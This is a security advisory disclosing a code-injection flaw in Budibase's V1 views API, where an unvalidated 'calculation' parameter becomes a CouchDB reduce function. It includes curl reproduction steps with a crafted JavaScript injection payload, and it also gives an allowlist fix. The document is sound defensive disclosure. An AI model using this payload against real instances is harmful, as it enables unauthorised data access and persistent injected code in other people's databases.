Security Advisory: CouchDB Reduce Injection via Unsanitized Calculation Parameter in V1 Views API

Affected Software: Budibase Affected Component: packages/server/src/api/controllers/view/viewBuilder.ts, packages/server/src/api/routes/view.ts CWE: CWE-94 (Improper Control of Generation of Code) Discovery Date: 2026-03-24

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Summary

The V1 Views API (POST /api/views) accepts a calculation parameter from the request body that is interpolated directly into a CouchDB reduce function definition without validation. Although an internal SCHEMA_MAP object defines the valid calculation types (sum, count, stats), no actual validation is performed against this map before the value is used in string interpolation.

A user with Builder permissions can inject arbitrary JavaScript code that will be executed within the CouchDB JavaScript engine when the view is queried.

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Affected Component

Route: POST /api/views (V1 legacy views endpoint) File: packages/server/src/api/routes/view.ts, line 45

.post("/api/views", viewController.v1.save)

Note: This route has no Joi request body validator, unlike the V2 views endpoint which uses viewValidator().

Vulnerable code: packages/server/src/api/controllers/view/viewBuilder.ts, line 213

const reduction = field && calculation ? { reduce: `_${calculation}` } : {}

return {
  meta: { field, tableId, groupBy, filters, schema, calculation, ... },
  map: `function (doc) { ... }`,
  ...reduction,    // <-- unvalidated calculation string becomes CouchDB reduce
}

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Vulnerability Detail

The viewBuilder function constructs a CouchDB design document view definition. It correctly sanitizes all inputs that flow into the map function string (using JSON.stringify for field names and a strict TOKEN_MAP allowlist for filter operators).

However, the calculation parameter follows a different path:

1. User submits calculation via POST /api/views request body
2. No Joi validator is present on this V1 route
3. viewBuilder receives calculation as a raw string
4. It is interpolated as: reduce: `_${calculation}`
5. This reduce definition is saved to a CouchDB design document
6. When the view is queried, CouchDB evaluates the reduce value

CouchDB's behavior for reduce functions:

• Values starting with _ followed by a known built-in (_sum, _count, _stats) are executed as native reducers
• Any other value is treated as a JavaScript function string and executed in CouchDB's SpiderMonkey JS engine

The SCHEMA_MAP object in the same file defines sum, count, and stats as valid keys, but this map is only used for schema construction — it is never used as an input validator for the calculation parameter.

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Steps to Reproduce

Prerequisites: Authenticated session with Builder role permissions.

1. Send a crafted view creation request:

curl -X POST https://<budibase-instance>/api/views \
  -H "Content-Type: application/json" \
  -H "Cookie: <builder-session-cookie>" \
  -d '{
    "name": "test_view",
    "tableId": "<valid-table-id>",
    "field": "amount",
    "calculation": "stats\"); } function(keys,values,rereduce){ var data = \"\"; for(var i in this) { data += i + \"=\" + this[i] + \",\"; } return data; } //"
  }'

2. Query the created view:

curl https://<budibase-instance>/api/views/test_view?group=true \
  -H "Cookie: <builder-session-cookie>"

3. Expected result: The injected JavaScript function executes in CouchDB's JS context during reduce evaluation. The function can:

• Enumerate objects available in the CouchDB sandbox
• Access document data from the reduce values parameter
• Return arbitrary data in the view response

Simplified test: To verify the injection point without complex payloads:

{
  "name": "calc_test",
  "tableId": "<valid-table-id>",
  "field": "amount",
  "calculation": "INVALID_NOT_A_BUILTIN"
}

This produces reduce: "_INVALID_NOT_A_BUILTIN". CouchDB will reject this as neither a valid built-in nor a valid function, confirming that arbitrary strings reach the reduce evaluator.

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Impact

• Code execution: Arbitrary JavaScript runs in CouchDB's SpiderMonkey sandbox
• Data access: The reduce function receives all matching document values, allowing data exfiltration across the database
• Scope limitation: CouchDB's JS sandbox prevents filesystem or network access — this is not OS-level RCE
• Authentication required: Attacker must have Builder role, which already grants significant application access
• Persistence: The injected reduce function persists in the design document and executes on every view query

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Recommended Fix

Add an allowlist validation in viewBuilder before the reduce interpolation:

const VALID_CALCULATIONS = ["sum", "count", "stats"];

if (calculation && !VALID_CALCULATIONS.includes(calculation)) {
  throw new Error(`Invalid calculation type: ${calculation}`);
}

const reduction = field && calculation ? { reduce: `_${calculation}` } : {};

Additionally, add a Joi validator to the V1 views route to match the V2 endpoint:

// In packages/server/src/api/routes/view.ts
.post("/api/views", v1ViewValidator(), viewController.v1.save)

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Additional Context

The V2 views API (POST /api/v2/views) uses viewValidator() with Joi schema validation and a separate calculation handling path. This finding is specific to the V1 legacy endpoint which lacks equivalent input validation.

The map function string in the same code is properly protected — all user inputs reaching it are escaped via JSON.stringify() or validated against a strict TOKEN_MAP allowlist. Only the reduce path is affected.